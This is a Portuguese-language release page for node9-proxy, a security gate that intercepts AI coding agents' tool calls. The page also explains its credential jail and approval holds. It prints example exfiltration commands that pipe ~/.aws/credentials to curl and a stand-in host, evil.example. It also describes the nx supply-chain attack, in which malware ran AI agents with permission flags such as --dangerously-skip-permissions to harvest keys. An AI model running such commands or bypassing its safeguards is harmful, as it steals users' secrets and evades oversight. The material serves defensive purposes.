Voltar às atualizações
New releaseSep 5, 2026

node9-proxy v2.8.3

A Camada de Segurança de Execução para a Era dos Agentes. Fornecendo governança determinística "Sudo" e logs de auditoria para agentes de IA autônomos.

Compartilhar

🛡️ node9

Controle de acesso para agentes de IA

Seus agentes de IA podem acessar Slack, GitHub, e-mail e seu banco de dados.
O node9 decide o que eles podem fazer com cada um deles.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

Prisão de credenciais · segredos e PII · git, SQL e shell destrutivos retidos para revisão · Fixação de ferramentas MCP · lista de permissões de saída de rede · quebra de loop · um registro único entre doze agentes

Funciona com Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · qualquer servidor MCP.

Como isso se parece

Uma sessão real do Claude Code com o node9 instalado. Cada chamada de ferramenta é verificada antes de ser executada. Construir uma página e editar um botão são executados. Uma requisição ao endereço de metadados da nuvem é bloqueada, e o agente recebe o motivo e continua. Excluir arquivos aguarda sua aprovação, diretamente no chat.

node9 em uma sessão do Claude Code: duas chamadas permitidas, uma bloqueada, uma retida para aprovação

Instalação

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Então, em qualquer projeto:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Requer Node.js 22+.

Em um novo terminal interativo, o node9 guia você pelo processo de configuração. A proteção local não precisa de conta. A lista de verificação mostra os escudos recomendados, DLP/PII, revisão opcional de saída de rede e o serviço em segundo plano. Estatísticas de uso são enviadas apenas se você aceitar o prompt separado. O resumo lista os agentes configurados e quaisquer etapas de configuração que precisam de atenção.

Execute node9 setup para revisitar a configuração, ou node9 setup <target> para configurar um agente. Uma vez configurado, o node9 sozinho mostra a ajuda. node9 init continua disponível; para scripts use node9 init --recommended (sem perguntas e sem adesão à telemetria). --skip-setup deixa a conexão dos agentes e a instalação do serviço intactas. Um --mode explícito tem precedência sobre a recomendação de modo padrão da lista de verificação. Configurações existentes são preservadas a menos que mudanças selecionadas ou flags explícitas solicitem uma atualização. A política do workspace é gerenciada no dashboard; as configurações do serviço permanecem locais.

O login não adiciona nada à aplicação das regras. Ele conecta a máquina a um workspace para que uma equipe possa ver um registro único entre os laptops de todos e o CI, definir políticas centralmente e aprovar ações retidas a partir de um dashboard ou do Slack. Pule isso e o node9 funciona exatamente da mesma forma, sozinho, offline. node9 logout desconecta novamente e a aplicação local continua funcionando.

Usar como servidor MCP

O node9 também funciona como um servidor MCP, para que um agente possa ler seu status, postura, registro de auditoria e política, e explicar qualquer decisão, de dentro da conversa:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

Qualquer cliente MCP funciona da mesma forma: o comando é npx -y node9-ai mcp-server via stdio, sem chave de API. Ele está listado no MCP Registry oficial como io.github.node9-ai/node9.

O problema

Em agosto de 2025, releases comprometidas da ferramenta de build nx distribuíram um script pós-instalação que procurava agentes de codificação com IA já instalados na máquina do desenvolvedor e então os executava com suas próprias flags de segurança desativadas (--dangerously-skip-permissions, --yolo, --trust-all-tools) para enumerar chaves SSH, credenciais de nuvem e arquivos de carteira e gravar a lista em disco. O script enviava os resultados para repositórios públicos dentro das próprias contas GitHub das vítimas. Mais de mil tokens válidos do GitHub vazaram, junto com credenciais de nuvem, tokens npm e aproximadamente 20.000 arquivos, de máquinas onde o agente estava fazendo exatamente o que lhe foi ordenado.

O agente não era o atacante. O agente era a ferramenta, e nada ficava entre ele e os arquivos. O portão do node9 não é uma dessas flags: ele roda no hook, e uma ação que ele retém permanece retida mesmo quando o agente foi iniciado com permissões ignoradas.

O que o node9 faz a respeito

O node9 fica entre o agente e cada ferramenta que ele chama. A prisão de credenciais (~/.ssh, ~/.aws, arquivos .env, chaves privadas) está ativada por padrão, e uma leitura de um desses caminhos não é executada. O agente é interrompido, recebe o motivo, e a decisão chega até você:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

O comando é analisado como uma AST de shell, não correspondido como texto, então envolver a leitura não ajuda. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example é julgado como uma leitura de ~/.aws/credentials, não como um echo.

O node9 é um portão. Uma ação retida não é executada enquanto espera por você, e se você nunca responder ela permanece bloqueada. Todo o resto é permitido e gravado no registro.

O que ele não faz: com o controle de saída desativado, que é o padrão, um comando que entrega um arquivo diretamente à rede, como curl -d @~/.aws/credentials, não é tratado como uma leitura desse arquivo. node9 egress protect também controla destinos, e cobre apenas comandos de shell.

Categorias